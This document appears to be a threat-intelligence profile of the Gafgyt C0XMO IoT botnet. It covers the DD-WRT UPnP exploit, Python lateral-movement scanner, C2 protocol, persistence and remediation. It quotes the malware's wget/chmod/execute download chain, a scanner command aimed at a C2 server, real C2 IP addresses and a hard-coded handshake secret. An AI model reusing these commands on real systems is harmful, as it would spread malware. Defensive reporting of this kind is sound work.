Threat reportMalwareTL-2026-0679
Gafgyt Variant C0XMO — Cross-Platform IoT Botnet via DD-WRT UPnP CVE-2021-27137 with Python Lateral-Movement Module
Gafgyt Variant C0XMO (TL-2026-0679), also tracked as C0XMO, is a high-severity malware campaign, first published 2026-06-04. It has no confirmed attribution, affects DD-WRT DD-WRT firmware (UPnP/SSDP service), references 5 CVEs (CVE-2021-27137, CVE-2015-2051, CVE-2022-35914), maps to 20 MITRE ATT&CK techniques (T1021, T1046, T1053), and is covered by 9 detection rules and 30 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 5Referenced vulnerabilities
- Techniques
- 20MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 30Indicators of compromise
Key facts for TL-2026-0679
- Threat ID
- TL-2026-0679
- Also known as
- C0XMO, C0MOX, Gafgyt C0XMO, BASHLITE variant C0XMO
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- NONE
- Motivation
- FINANCIAL
- Target sectors
- technology, telecommunications, consumer-iot, managed-hosting
- Target regions
- Asia, Japan, Europe, Global
- Detection rules
- 9
- Indicators of compromise
- 30
Malware and tooling in Gafgyt Variant C0XMO
Malware and tooling: C0XMO, Gafgyt
How Gafgyt Variant C0XMO works
FortiGuard Labs identified C0XMO, a new Gafgyt botnet variant that propagates across IoT devices by exploiting CVE-2021-27137, a stack buffer overflow in the DD-WRT UPnP/SSDP service triggered by an oversized ST:uuid: value in M-SEARCH requests over UDP/1900. C0XMO uniquely offloads scanning and lateral movement to a standalone Python module, drops multi-architecture ELF payloads, brute-forces Telnet/SSH, exploits multiple secondary web CVEs, establishes persistence, and conducts 19 distinct DDoS attack methods. Active in the wild since March 2026.
C0XMO is a modular evolution of the Gafgyt (BASHLITE) IoT botnet family reported by Fortinet FortiGuard Labs on 3 June 2026, with in-the-wild activity dating to March 2026. The campaign was first observed targeting a Japanese technology firm from source infrastructure geolocated in Germany.
Initial access is achieved primarily through CVE-2021-27137, a stack-based buffer overflow in the DD-WRT UPnP/SSDP service (changeset before 45723). The vulnerability is triggered when the SSDP parser mishandles an oversized ST:uuid: value inside a specially crafted M-SEARCH request delivered over UDP port 1900. Successful exploitation yields remote code execution, after which the malware is fetched to /tmp/.cache, made world-executable (chmod 777), run, and deleted to reduce forensic footprint.
The defining innovation of C0XMO is the separation of propagation logic into a standalone Python script (scanner.py) comprising roughly 22 functions across six functional categories: a multi-threaded Worker for scanning and exploitation, a Blacklist module for IP filtering and failed-target tracking, Telnet and SSH weak-credential brute-force modules, an HTTP exploitation module leveraging multiple CVEs, and an ADB (Android Debug Bridge) exploitation module. The script is deployed with arguments such as 'python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,8080... --runtime X --server 217.160.125.125:15527' and requires the requests, paramiko, and beautifulsoup4 Python packages.
The loader delivers ELF payloads compiled for seven architectures — ARM, MC68000, MIPS R3000, PowerPC, SuperH, Intel 80386, and AMD64 — selecting the appropriate binary after architecture detection to enable broad cross-platform propagation. Post-compromise deployment uses a wget/chmod/execute/cleanup chain (e.g. 'cd /tmp && wget -q http://server/bot.arch -O .cache && chmod 777 .cache && ./.cache && rm -f .cache').
C2 communication is performed against a custom binary protocol. The bot connects to the main C2 at 85.215.131.70 and a distribution/scan server at 217.160.125.125:15527, with 176.100.37.91 as additional infrastructure. The handshake uses a magic string (hex 669787761736865726500), a hard-coded shared secret (FS2@SA__=A23cAxs3S3@23AF@A3454DFSA0D), a 'BOT'->'OK' bot identification exchange, and a final 'FF FF FF FF 75' welcome confirmation.
Persistence is implemented in four stages: path verification via /proc/self/exe; self-copying to /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys and $HOME/.sys with 755 permissions; auto-start via cron ('*/15 * * * *') and shell-profile modification (~/.bashrc, ~/.bash_profile); and a process-revival watchdog that re-executes the binary if terminated. The malware also performs competitor elimination, killing rival botnet processes, network-service applications, programming tools, and red-team utilities, and deleting their binaries and persistence artifacts (cron jobs, rc.local, init.d services, shell profiles).
C0XMO supports 19 DDoS attack methods including UDP/TCP bypass floods, TCP SYN flood, Valve Source Engine flood, Discord voice UDP flood, FiveM game flood, OVH bypass (TCP/UDP), hex-pattern flood, NTP and Memcached amplification, ICMP flood, Ping of Death, and HTTP storm/IO/spoof/GET and Cloudflare-bypass HTTP floods. Operator commands include ping, stop, scan, stopscan, and attack directives.
Beyond Telnet/SSH brute force and the UPnP overflow, the HTTP exploitation module weaponizes several public CVEs: CVE-2015-2051 (D-Link HNAP SOAP command injection), CVE-2022-35914 (GLPI htmLawed RCE), CVE-2016-15047 and CVE-2025-34054 (Avtech DVR authentication bypass / RCE). Targeted service ports span 23, 22, 80, 443, 8080, 5555, 5511, 5554, 4443, 81, 8000, 7547, 8081, 8443, and 8888.
MITRE ATT&CK techniques used in TL-2026-0679
Lateral Movement
T1021 Remote Services; T1210 Exploitation of Remote Services
Discovery
T1046 Network Service Discovery; T1057 Process Discovery
Persistence
T1053 Scheduled Task/Job; T1078 Valid Accounts; T1546 Event Triggered Execution
Execution
T1059 Command and Scripting Interpreter
Defense Evasion
T1070 Indicator Removal; T1564 Hide Artifacts
Command and Control
T1071 Application Layer Protocol; T1095 Non-Application Layer Protocol; T1105 Ingress Tool Transfer
Credential Access
Initial Access
T1133 External Remote Services; T1190 Exploit Public-Facing Application
Impact
T1498 Network Denial of Service; T1499 Endpoint Denial of Service
Resource Development
Reconnaissance
Affected products and versions in Gafgyt Variant C0XMO
- DD-WRT — DD-WRT firmware (UPnP/SSDP service)
Vulnerable versions: changeset before 45723
Fixed in: changeset 45723 and later - D-Link — Devices using HNAP (CVE-2015-2051)
Vulnerable versions: affected HNAP firmware
Fixed in: vendor-patched firmware - GLPI — GLPI (htmLawed, CVE-2022-35914)
Vulnerable versions: <= 10.0.2
Fixed in: 10.0.3 - Avtech — Avtech DVR (CVE-2016-15047, CVE-2025-34054)
Vulnerable versions: affected DVR firmware
Fixed in: vendor-patched firmware - Multi-architecture Linux/IoT — ELF targets
Vulnerable versions: ARM; MC68000; MIPS R3000; PowerPC; SuperH; Intel 80386; AMD64
Remediation for Gafgyt Variant C0XMO
Patches
- Upgrade DD-WRT firmware to changeset 45723 or later
- Patch D-Link HNAP (CVE-2015-2051), GLPI (CVE-2022-35914), and Avtech DVR (CVE-2016-15047, CVE-2025-34054) appliances
Immediate actions
- Block C2/distribution IPs 85.215.131.70, 217.160.125.125, and 176.100.37.91 at the perimeter
- Block inbound UDP/1900 (SSDP/UPnP) from untrusted networks and disable UPnP on edge IoT/router devices where not required
- Hunt for and remove persistence artifacts: /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys, the */15 cron entry, and malicious ~/.bashrc / ~/.bash_profile lines
Workarounds
- Disable the UPnP/SSDP service on DD-WRT devices if firmware cannot be updated
- Restrict management ports (22, 23, 7547, 8443, 8888) to trusted management networks
Longer-term hardening
- Deploy network IDS/IPS signatures for the DD-WRT UPnP CVE-2021-27137 overflow and the secondary web CVEs
- Segment IoT devices onto isolated VLANs with egress filtering to block bot C2 callbacks
- Enforce strong, unique credentials and disable Telnet on all embedded devices
CVEs associated with Gafgyt Variant C0XMO
CVE-2021-27137, CVE-2015-2051, CVE-2022-35914, CVE-2016-15047, CVE-2025-34054
Weaknesses (CWE) in Gafgyt Variant C0XMO
Timeline of Gafgyt Variant C0XMO
- CVE-2021-27137 assigned for the DD-WRT UPnP/SSDP stack buffer overflow (changeset before 45723) later weaponized by C0XMO.
- C0XMO Gafgyt variant first observed active in the wild, propagating via the DD-WRT UPnP overflow and Telnet/SSH brute force.
- Campaign observed targeting a Japanese technology firm from source infrastructure geolocated in Germany.
- FortiGuard released/updated IPS signature 56117 (DD-WRT.UPNP.CVE-2021-27137.uuid.Buffer.Overflow) and AV detections ELF/Gafgyt.C0MOX!tr and Python/Gafgyt.C0MOX!tr.
- FortiGuard Labs published technical analysis of C0XMO detailing the Python lateral-movement module, multi-arch ELF payloads, custom C2 protocol, and IOCs.
- Threadlinqs Intelligence published threat profile TL-2026-0679 with full MITRE mapping, IOCs, and detection coverage.
Sources cited for Gafgyt Variant C0XMO
- Inside the Cross-Platform Propagation of a New Gafgyt Variant C0XMO | FortiGuard Labs
- DD-WRT.UPNP.CVE-2021-27137.uuid.Buffer.Overflow — FortiGuard IPS Encyclopedia
- CVE-2021-27137 — DD-WRT UPnP stack buffer overflow
- CVE-2022-35914 — GLPI htmLawed RCE
- CVE-2015-2051 — D-Link HNAP command injection
- FortiGuard IPS: D-Link.HNAP (CVE-2015-2051) signature 50772
Detection coverage for TL-2026-0679
As of 2026-06-04, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0679 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.